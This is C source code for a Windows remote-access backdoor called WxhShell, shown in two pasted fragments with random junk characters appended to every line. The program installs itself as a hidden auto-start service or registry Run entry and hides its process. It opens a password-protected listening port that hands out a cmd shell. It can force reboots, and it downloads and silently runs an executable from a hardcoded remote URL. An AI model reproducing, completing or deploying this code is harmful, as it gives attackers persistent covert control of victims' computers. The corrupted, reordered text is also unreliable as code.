    if(Boot(SHUTDOWN)) 2@n{yYwy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [`#CXq'  
    else { `&r+F/Ap2  
    closesocket(wsh); #`qx<y*S  
    ExitThread(0); dc+>m,3$  
    } 2.`\  
    break; Fd%#78UEo}  
    } {g'(~ qv  
  // 获取shell <prk8jSWV  
  case 's': { OZb-:!m*  
    CmdShell(wsh); FZ{h?#2?  
    closesocket(wsh); [SjqOTon{  
    ExitThread(0); %+aCJu[k(z  
    break; (+w*[qHe  
  } G)AqbY  
  // 退出 MD}w Y><C  
  case 'x': { L\6M^r >  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); px A?  
    CloseIt(wsh); A9KET$i@v  
    break; .Yamc#A-  
    } :(E@Gf  
  // 离开 5N#aXG^9  
  case 'q': { A]_7}<<N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pQyK={7?`  
    closesocket(wsh); |0&IXOW"XF  
    WSACleanup(); gldAP:  
    exit(1); Q4#.X=.d  
    break; on!,c>nNa  
        } HDz5&7* .  
  } =Pyj%4Rs  
  } $f$SNx)),  
|QF7 uV  
  // 提示信息 frm >4)9+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lne|5{h  
} BwN0!lsF3  
  } pE3?"YO  
juP7P[d$qW  
  return; =eq[:K<6  
} : p1u(hflS  
7zl5yK N  
// shell模块句柄 ] 7[ 3>IN  
int CmdShell(SOCKET sock) v8wq,CYV  
{ vRYQ{:  
STARTUPINFO si; mtpeRVcF  
ZeroMemory(&si,sizeof(si)); T )&A2q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [@_Jj3`4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ucb F|vkI  
PROCESS_INFORMATION ProcessInfo; xBj 9y u  
char cmdline[]="cmd"; 1>.Ev,X+e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \:P>le'1  
  return 0; DcS+_>a\{l  
} lwR<(u31e  
]]HNd7Vh  
// 自身启动模式 ,=uD^n:  
int StartFromService(void) W Tcw4  
{ ;_XFo&@  
typedef struct K,tQ!kk  
{ ;gD})@  
  DWORD ExitStatus; %6t:(z  
  DWORD PebBaseAddress; av(6wht8  
  DWORD AffinityMask; 3RUy, s  
  DWORD BasePriority; fQ7V/x!  
  ULONG UniqueProcessId; 7kC^ 30@T3  
  ULONG InheritedFromUniqueProcessId; +Z,;,5'5G  
}   PROCESS_BASIC_INFORMATION; 2/U.| *mH  
#QZe,"C9`  
PROCNTQSIP NtQueryInformationProcess; 5frX   
9v#CE!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k<z )WNBf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xPdG*OcX!  
\wmN  
  HANDLE             hProcess; wC"FDr+  
  PROCESS_BASIC_INFORMATION pbi; M+oHtX$  
XjBW9a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,S\CC{!  
  if(NULL == hInst ) return 0; S0$8@"~=  
MnmVl"(/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hy9\57_#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1l9 G[o *  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [=C6U_vU  
v<k?Vu  
  if (!NtQueryInformationProcess) return 0; 4a&RYx  
2bz2KB5>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); //B&k`u  
  if(!hProcess) return 0; g%o(+d  
REQ\>UO_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iG $!6;w<  
XMZ,Y7  
  CloseHandle(hProcess); {.`vs;U  
@?ebuj5{e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P|`8}|}a  
if(hProcess==NULL) return 0; zg>zUe bA  
"2!&5s,1p  
HMODULE hMod; C-xr"]#]  
char procName[255]; @b\$yB@z  
unsigned long cbNeeded; `&qL(66  
$yP*jO4i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5; C|  
VCYwzB  
  CloseHandle(hProcess); , };& tR  
'I|v[G$l  
if(strstr(procName,"services")) return 1; // 以服务启动 0^ _uV9r  
XoK:N$\}t  
  return 0; // 注册表启动 $L `d&$Vh  
} 'JtBZFq  
P-[-pi@  
// 主模块 #I.+aV+2oQ  
int StartWxhshell(LPSTR lpCmdLine) `6;?9NI  
{ e v}S+!|U  
  SOCKET wsl; +SzU  
BOOL val=TRUE; RIR\']WN  
  int port=0; A.F%Ycq  
  struct sockaddr_in door; 7jrt7[{  
wKh4|Ka  
  if(wscfg.ws_autoins) Install(); hw uiu*  
O *C;Vqt  
port=atoi(lpCmdLine); goNG' o %|  
%jJG>T  
if(port<=0) port=wscfg.ws_port; s3N'02G  
MBK^FR-K  
  WSADATA data; [> 3./YH`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #!B4 u?"m  
\0gis#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B^=-Z8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pp?D7S  
  door.sin_family = AF_INET; .N;=\C*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;._ l 0Jw  
  door.sin_port = htons(port); DDQx g  
E, Z$pKL?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XTs8s12  
closesocket(wsl); _~m5^Q&  
return 1; L<c4kw  
} t|?ez4/{z  
j a[Et/r  
  if(listen(wsl,2) == INVALID_SOCKET) { @/~omg}R  
closesocket(wsl); [&[k^C5  
return 1; HdI8f!X'TG  
} PN%zIkbo  
  Wxhshell(wsl); ^S<Y>Nm]  
  WSACleanup(); ho{*Cjv  
DPY}?dC  
return 0; n6=By|jRh  
D>r&}6<  
} &A/]pi-\  
 0q  
// 以NT服务方式启动 >~rTqtKd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O^PKn_OJ  
{ G&SB-  
DWORD   status = 0; x^qVw5{n  
  DWORD   specificError = 0xfffffff; [Y/} ^  
OF>mF~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2>9C-VL2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hF?1y`20  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1#g2A0U,  
  serviceStatus.dwWin32ExitCode     = 0; L&8~f]  
  serviceStatus.dwServiceSpecificExitCode = 0; jwe*(k]z  
  serviceStatus.dwCheckPoint       = 0; lgAoJ[  
  serviceStatus.dwWaitHint       = 0; g9pZ\$J&  
~\SGb_2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OnziG+ak  
  if (hServiceStatusHandle==0) return; $p8xEcQdU#  
T~?Ff|qFC  
status = GetLastError(); ' {OgN}'{  
  if (status!=NO_ERROR) T"Y+m-<%  
{ v~+(GqR=+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g'f@H-KCD  
    serviceStatus.dwCheckPoint       = 0; tIi&;tw]  
    serviceStatus.dwWaitHint       = 0; BR_1MG'{)$  
    serviceStatus.dwWin32ExitCode     = status; Z#jZRNU%ox  
    serviceStatus.dwServiceSpecificExitCode = specificError; pQ">UL*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iU918!!N   
    return; LP^$AAy  
  } z kP_6T09  
w(Ovr`o?9t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )}R0Y=e  
  serviceStatus.dwCheckPoint       = 0;  ~NgA  
  serviceStatus.dwWaitHint       = 0; Ib!RD/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); + J{IRyBc  
} Y Uc+0  
pad*oPH,  
// 处理NT服务事件,比如:启动、停止 g axsv[W>^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P8 c`fbkX2  
{ q_8+HEvo  
switch(fdwControl) A  'be8  
{ ;+_:,_  
case SERVICE_CONTROL_STOP: Q}JOU  
  serviceStatus.dwWin32ExitCode = 0; ^e5=hH-%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u#fM_>ML  
  serviceStatus.dwCheckPoint   = 0; /62!cp/F/D  
  serviceStatus.dwWaitHint     = 0; ,KZ~?3$yj  
  { 6wRd<]C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K3&qq[8.e  
  } c):/!Q  
  return; #zy :a%  
case SERVICE_CONTROL_PAUSE: Es`Px_k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s) t@ol  
  break; M?49TOQA  
case SERVICE_CONTROL_CONTINUE: ;d$rdFA_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qq`4<0I>  
  break; nPtuTySG  
case SERVICE_CONTROL_INTERROGATE: bs&43Ae  
  break; }K>d+6qk5  
}; {?0lBfB"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >uB?rGcM  
} C =xa5Y  
iyE7V_O T  
// 标准应用程序主函数 1~FOgk1;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gg/-k;@ Rf  
{ QL/(72K  
8d{0rqwNE  
// 获取操作系统版本 3`?7 <YJ  
OsIsNt=GetOsVer(); z6P$pqyF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nW:C/{n2tG  
"{xrL4BtC  
  // 从命令行安装 'oVx#w^mf  
  if(strpbrk(lpCmdLine,"iI")) Install(); W i.& e  
l&zilVVm  
  // 下载执行文件 `RW HN/U  
if(wscfg.ws_downexe) { ty!`T+3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4"ZP 'I;  
  WinExec(wscfg.ws_filenam,SW_HIDE); LOYk9m  
} G!##X: 6'  
gJ+'W1$/  
if(!OsIsNt) { V Q@   
// 如果时win9x,隐藏进程并且设置为注册表启动 e%M;?0j  
HideProc(); Y|qTyE%  
StartWxhshell(lpCmdLine); {S \{Ii6  
} ?z+eWL  
else {YC@T(  
  if(StartFromService()) ]/6z; ~3U  
  // 以服务方式启动 Ix}sK"}[n  
  StartServiceCtrlDispatcher(DispatchTable); e`s ~.ZF  
else 4J? 0bZ  
  // 普通方式启动 G_JA-@i%  
  StartWxhshell(lpCmdLine); 372rbY  
u#~RkY7s  
return 0; ; 2#y7!  
} Tidn-2L73O  
t?gic9 q  
T!{w~'=F  
fOrH$?  
=========================================== kZ:ZtE  
re<{ >  
t@;p  
wlvgg  
Z{d^-  
P+sW[:  
" 3?yg\  
@mBQ?; qlK  
#include <stdio.h> l'qg8  
#include <string.h> D_7,m%Z:  
#include <windows.h> T-L||yE,h  
#include <winsock2.h> vr l-$ii  
#include <winsvc.h> u=sp`%?  
#include <urlmon.h> l)\! .X  
Fm 2AEs\  
#pragma comment (lib, "Ws2_32.lib") "sCRdx]_  
#pragma comment (lib, "urlmon.lib") BO&bmfp7,  
3hH<T.@)  
#define MAX_USER   100 // 最大客户端连接数 b%`1cV  
#define BUF_SOCK   200 // sock buffer ;'K5J9k  
#define KEY_BUFF   255 // 输入 buffer w& #]-|$  
&z3o7rif$  
#define REBOOT     0   // 重启 0d&6lqTo  
#define SHUTDOWN   1   // 关机 NI]N4[8(  
SfyQ$$Z  
#define DEF_PORT   5000 // 监听端口 Y.UFbrv  
'H!Uh]!  
#define REG_LEN     16   // 注册表键长度 R n[cW5Y<  
#define SVC_LEN     80   // NT服务名长度 am'7uy!ka~  
kzLsoZ!I  
// 从dll定义API X_h}J=33Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~mxO7cy5Cg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7}>EJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ki!0^t:9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~ 7s!VR  
q9_OGd|P  
// wxhshell配置信息 " 8MF_Gu):  
struct WSCFG { 7$=In K  
  int ws_port;         // 监听端口 0S~rgq|O  
  char ws_passstr[REG_LEN]; // 口令 ?`ZU R& 20  
  int ws_autoins;       // 安装标记, 1=yes 0=no =,8]nwgo  
  char ws_regname[REG_LEN]; // 注册表键名 x;d6vBTUb  
  char ws_svcname[REG_LEN]; // 服务名 6{b >p+U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IJ"q~r$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yf+)6D -9n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oPM96 (  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T5h H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4[e X e$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zF<R'XP  
5;EvNu  
}; ,O(hMI85]  
=,M5KDk`  
// default Wxhshell configuration *] X'( /b_  
struct WSCFG wscfg={DEF_PORT, lo+A%\1  
    "xuhuanlingzhe", :F?C)F  
    1, 4B.*g-L   
    "Wxhshell", vs4>T^8e  
    "Wxhshell", ga+dt  
            "WxhShell Service", y)@wjH{6  
    "Wrsky Windows CmdShell Service", K0>zxqY  
    "Please Input Your Password: ", y N-9[P8C  
  1, N6:`/f+A>T  
  "http://www.wrsky.com/wxhshell.exe", 1+s;FJ2}  
  "Wxhshell.exe" sgFEK[w.y  
    }; k,*XG$2h  
]a`$LW}  
// 消息定义模块 0H:X3y+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WsB?C&>x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U xGApK=X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >[#f\bG>  
char *msg_ws_ext="\n\rExit."; [(lW^-  
char *msg_ws_end="\n\rQuit."; ]/v[8dS(l  
char *msg_ws_boot="\n\rReboot..."; ygcm|PrS  
char *msg_ws_poff="\n\rShutdown..."; MQ2}EY*A  
char *msg_ws_down="\n\rSave to "; 9.#<b |g  
mfr|:i  
char *msg_ws_err="\n\rErr!"; z{QqY.Gu{G  
char *msg_ws_ok="\n\rOK!"; W=?<<dVYD  
? J0y|  
char ExeFile[MAX_PATH]; z24q3 3O  
int nUser = 0; 2?Vd5xkt  
HANDLE handles[MAX_USER]; 'g\4O3&_  
int OsIsNt; L4W5EO$  
6=C<>c %+  
SERVICE_STATUS       serviceStatus; tw@X> G1z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PJ#,2=n~  
~n_HP_Kf?  
// 函数声明 He@KV=  
int Install(void); ^\m![T\bX  
int Uninstall(void); TWTb?HP  
int DownloadFile(char *sURL, SOCKET wsh); f o3}W^0  
int Boot(int flag); ;uGv:$([g  
void HideProc(void); F+qm[Bc8  
int GetOsVer(void); flx(HJK  
int Wxhshell(SOCKET wsl); @6.vKCSE  
void TalkWithClient(void *cs); ]SEZaT  
int CmdShell(SOCKET sock); sI2^Qp@O1  
int StartFromService(void); $??I/6  
int StartWxhshell(LPSTR lpCmdLine); R=?[Nz  
d'> x(Yi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QJ;2ZN,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t uX|\X  
ueNS='+m  
// 数据结构和表定义 yHaGkm  
SERVICE_TABLE_ENTRY DispatchTable[] = c71y'hnT  
{ dE3) | %  
{wscfg.ws_svcname, NTServiceMain}, | -H& o]  
{NULL, NULL} Id9TG/H7  
}; er\|i. Y  
L~3Pm%{@A  
// 自我安装 lB4WKn=?Kl  
int Install(void) 6S #Cl>v  
{ 7yQ4*UB  
  char svExeFile[MAX_PATH]; Lw,h+@0  
  HKEY key;  M6TD"-  
  strcpy(svExeFile,ExeFile); /-s6<e!  
|s_GlJV.  
// 如果是win9x系统,修改注册表设为自启动 DmcZta8n]  
if(!OsIsNt) { 1Y,Z %d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kx^/*~ex  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K=&>t6s<  
  RegCloseKey(key); *qq+jsA6wH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XWw804ir  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {;oPLr+Z  
  RegCloseKey(key); J}t%p(mb  
  return 0; :(%5:1W  
    } lTsjxw o  
  } "@n%Z  
} dh\P4  
else { =(^3}x  
O/LXdz0B  
// 如果是NT以上系统,安装为系统服务 !r-F>!~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q2> gU#  
if (schSCManager!=0) : Dp0?&_  
{ F'Z,]b'st3  
  SC_HANDLE schService = CreateService v@pky0  
  ( 5r0YA IJ  
  schSCManager, lhJ'bYI  
  wscfg.ws_svcname, uAk.@nfiEv  
  wscfg.ws_svcdisp, p ll)Y  
  SERVICE_ALL_ACCESS, $[|mGae  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *1"+%Z^  
  SERVICE_AUTO_START, =~gvZV-<  
  SERVICE_ERROR_NORMAL, a'T;x`b8U,  
  svExeFile, dr"1s-D4IQ  
  NULL, Xa&kIq}(g  
  NULL, /wv0i3_e  
  NULL, <3 uNl  
  NULL, ~#/  
  NULL Dp:BU|r  
  ); vQ.R{!",>  
  if (schService!=0) EM_d8o)`B  
  { gM]:Ma  
  CloseServiceHandle(schService); d zMb5puH  
  CloseServiceHandle(schSCManager); MK*r+xfSae  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q{/Ef[(a@  
  strcat(svExeFile,wscfg.ws_svcname); TqQ[_RKg2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ort(AfW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +7a6*;\ y  
  RegCloseKey(key); 76SXJ9@x  
  return 0; \7_y%HR  
    } @VI@fN  
  } @6]JIJE  
  CloseServiceHandle(schSCManager); {..6>fS  
} Ul# r  
} N>E_%]Ch  
D+c>F5  
return 1; x1<|hTPk  
} A}^mdw9  
{{1G`;|v 9  
// 自我卸载 =MWHJ'3-/  
int Uninstall(void) 3c%caK  
{ g2]Qv@nxw  
  HKEY key; u@444Vzg  
`@%LzeGz  
if(!OsIsNt) { ` %}RNC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -RLOD\ZBh  
  RegDeleteValue(key,wscfg.ws_regname); ;@J}}h'y  
  RegCloseKey(key); (At$3b6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @+DX.9  
  RegDeleteValue(key,wscfg.ws_regname); DfB7*+x{  
  RegCloseKey(key); #Q5o)x  
  return 0; tBSW|0  
  } MfkZ  
} {)Xy%QV  
} &j6erwaT  
else { 62u4-}JzF  
?4uL-z](V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cb bFw  
if (schSCManager!=0) d5-qZ{W  
{ r<\u6jF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }2oc#0  
  if (schService!=0) X{VOAcugr  
  { M\=2uKG#  
  if(DeleteService(schService)!=0) { ,u m|1dh  
  CloseServiceHandle(schService); DNi+"[~&P  
  CloseServiceHandle(schSCManager);  lRQYpc\  
  return 0; @nf`Gw ;  
  } [hs ds\  
  CloseServiceHandle(schService); 8k79&|  
  } P~dcW  
  CloseServiceHandle(schSCManager); 2qp#N%  
} P2Y^d#jO  
} !9x}  
`h;[TtIX4  
return 1; >sbu<|]a 7  
} S>{~nOYt-`  
=c7;r]Ol  
// 从指定url下载文件 n!(F, b  
int DownloadFile(char *sURL, SOCKET wsh) /RF7j;  
{ kVL.PY\K  
  HRESULT hr; 7z-[f'EIUI  
char seps[]= "/"; ^Dx&|UwiZa  
char *token; _cwpA#x`}  
char *file; )e{}V\;q  
char myURL[MAX_PATH]; QW"! (`K  
char myFILE[MAX_PATH]; Pz^544\~ou  
$!DpjN  
strcpy(myURL,sURL); _B0L.eF  
  token=strtok(myURL,seps); 45oR=At n  
  while(token!=NULL) ]f3>-)$*  
  { n`KY9[0U=  
    file=token; @pxcpXCy  
  token=strtok(NULL,seps);  _4f;<FL  
  } aDCwI:Li(  
g .\[o@H  
GetCurrentDirectory(MAX_PATH,myFILE); 8ipez/  
strcat(myFILE, "\\"); Debv4Gr;^  
strcat(myFILE, file); r :dTz  
  send(wsh,myFILE,strlen(myFILE),0); n:X y6H  
send(wsh,"...",3,0); = / 8cp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3a|\dav%  
  if(hr==S_OK) T;#FEzBz  
return 0; oU/5 a>9~  
else 3o qHGA:}  
return 1; {b{s<@?  
54/=G(F   
} (w{j6).3Dj  
%3 rP `A  
// 系统电源模块 -HuA \0J  
int Boot(int flag) ctUp=po  
{ wS*E(IAl  
  HANDLE hToken; Y ay?=Y{  
  TOKEN_PRIVILEGES tkp; Mfs?x a  
A=4OWV?  
  if(OsIsNt) { j39wA~ K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *`U~?q}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dRDnJc3  
    tkp.PrivilegeCount = 1; He)%S]RLk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q:(%*sY>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h$*!8=M  
if(flag==REBOOT) { Ls%MGs9PI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w(rE`IgW  
  return 0; _Y!IEAU/#  
} +qoRP2  
else { n|;Im&,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6wxs1G  
  return 0; *8Z32c+C  
} @.C2LIb  
  } % `3jL7|  
  else { .u:GjL'$  
if(flag==REBOOT) { [vgtc.V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wj+*E6o-n  
  return 0; $^ P0F9~0  
} ZW}_DT0  
else { l ,8##7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MPV5P^@X  
  return 0; #F#%`Rv1  
} nK,w]{<wG!  
} hQ i2U  
}*-@!wc-N  
return 1; >/|*DI-HJ  
} Uv.)?YeGh  
40/Y\  
// win9x进程隐藏模块 %LV9=!w  
void HideProc(void) ..qCPlK;  
{ grYe&(`X  
G?ZXWu.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); weQ_*<5%  
  if ( hKernel != NULL ) 8RX&k  
  { yw!{MO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2?5>o!C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q@qsp&0/  
    FreeLibrary(hKernel); /ouPg=+Nl  
  } Y} /-C3)  
<m m[S  
return; i$@:@&(~Y  
} rc{v$.o0  
yLGRi^d#  
// 获取操作系统版本 "{n&~H`  
int GetOsVer(void) ^_6|X]tz1T  
{ /mMV{[  
  OSVERSIONINFO winfo; :svq E+2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g{Rd=1SK]  
  GetVersionEx(&winfo); ;r8X.>P*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,>M[@4`,U  
  return 1; U17d>]ka  
  else ~zgGa:uU  
  return 0; 7"##]m.  
} Kgv T"s.  
%;/P&d/  
// 客户端句柄模块 ?(PKeq6  
int Wxhshell(SOCKET wsl) %*U'@r(A  
{ pI[uUu7O  
  SOCKET wsh; phK/   
  struct sockaddr_in client; d1*<Ll9K  
  DWORD myID; XkqCZHYkS  
I*&8^ r:A  
  while(nUser<MAX_USER) .N3mb6#[R  
{ 7 &\yj9  
  int nSize=sizeof(client); /{[o ~:'p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mR~&)QBP.  
  if(wsh==INVALID_SOCKET) return 1; [Zrr)8A  
XG?8s &  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fs{*XKv&lH  
if(handles[nUser]==0) omFz@  
  closesocket(wsh); @7u0v  
else [m -bV$-d  
  nUser++; \GBuWY3B  
  } @L`jk+Y0vF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >sF)Bo Lc  
cS$_\65  
  return 0; 0a7Ppntb@  
}  9!GM{  
5N]"~w*  
// 关闭 socket jylD6IT  
void CloseIt(SOCKET wsh) [?gP;,  
{ QnDg 6m)+  
closesocket(wsh); i@q&5;%%  
nUser--; )_:NLo:  
ExitThread(0); =%7-ZH9  
} ~rm_vo  
/xQTxh1;K  
// 客户端请求句柄 NRuNKl.v  
void TalkWithClient(void *cs) Fu~j8K  
{ o4;(Zi#Z  
g7|@  
  SOCKET wsh=(SOCKET)cs; u NyVf7u  
  char pwd[SVC_LEN]; ni<(K 0~  
  char cmd[KEY_BUFF]; ~,Qp^"rlW  
char chr[1]; E$e5^G9  
int i,j; fJ\[*5eiS  
*Ly6`HZ9  
  while (nUser < MAX_USER) { [;N'=]`  
NlqImM=r,  
if(wscfg.ws_passstr) { >~f]_puT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d5b%  W3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N[hG8f  
  //ZeroMemory(pwd,KEY_BUFF); QP x^_jA  
      i=0; t-AmX) $  
  while(i<SVC_LEN) { rOYx b }1  
MA\V[32H  
  // 设置超时 GY*p?k<i  
  fd_set FdRead; cNrg#Asen&  
  struct timeval TimeOut; /QQ*8o8  
  FD_ZERO(&FdRead); Q59suL   
  FD_SET(wsh,&FdRead); ?0.NIu,,o  
  TimeOut.tv_sec=8; +3gp%`c4  
  TimeOut.tv_usec=0; =wJX 0A|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @WhHUd4s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =M1I>  
!Cs_F&l"j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qK+5NF|  
  pwd=chr[0]; Sdo-nt  
  if(chr[0]==0xd || chr[0]==0xa) { UG^q9 :t  
  pwd=0; l{9Y  
  break; Wqnc{oq |$  
  } x;S @bY  
  i++; PnTu  
    } +q4O D$}  
[^)g%|W  
  // 如果是非法用户,关闭 socket OI*H,Z "  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  G*m 0\  
} y-k.U%  
[0of1eCSl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v19-./H^ j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4*L_)z&4;  
@~e5<:|5#  
while(1) { -=="<0c  
#E?4E1bnB  
  ZeroMemory(cmd,KEY_BUFF); J,hCvm  
mw!F{pw  
      // 自动支持客户端 telnet标准   '91/md5  
  j=0; 29rX%09T]  
  while(j<KEY_BUFF) { {ax:RUQxy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /z!%d%"  
  cmd[j]=chr[0]; }C:r 9? T  
  if(chr[0]==0xa || chr[0]==0xd) { \bF{-"7.  
  cmd[j]=0; H|*m$| $,  
  break; [ 3Gf2_  
  } 7_L;E~\  
  j++; RN1_S  
    } _#niyW+?~  
do%&m]#;  
  // 下载文件 IPk4 ;,  
  if(strstr(cmd,"http://")) { .H|-_~Yx|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *|0 -~u%q  
  if(DownloadFile(cmd,wsh)) j.Hf/vi`z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +0&/g&a\R  
  else ]lbuy7xj63  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rsQtMtS2  
  } r" y.KD^  
  else { KwS@D9bok  
paK2 xX8E  
    switch(cmd[0]) { ]`K2 N  
  2 nCA<&  
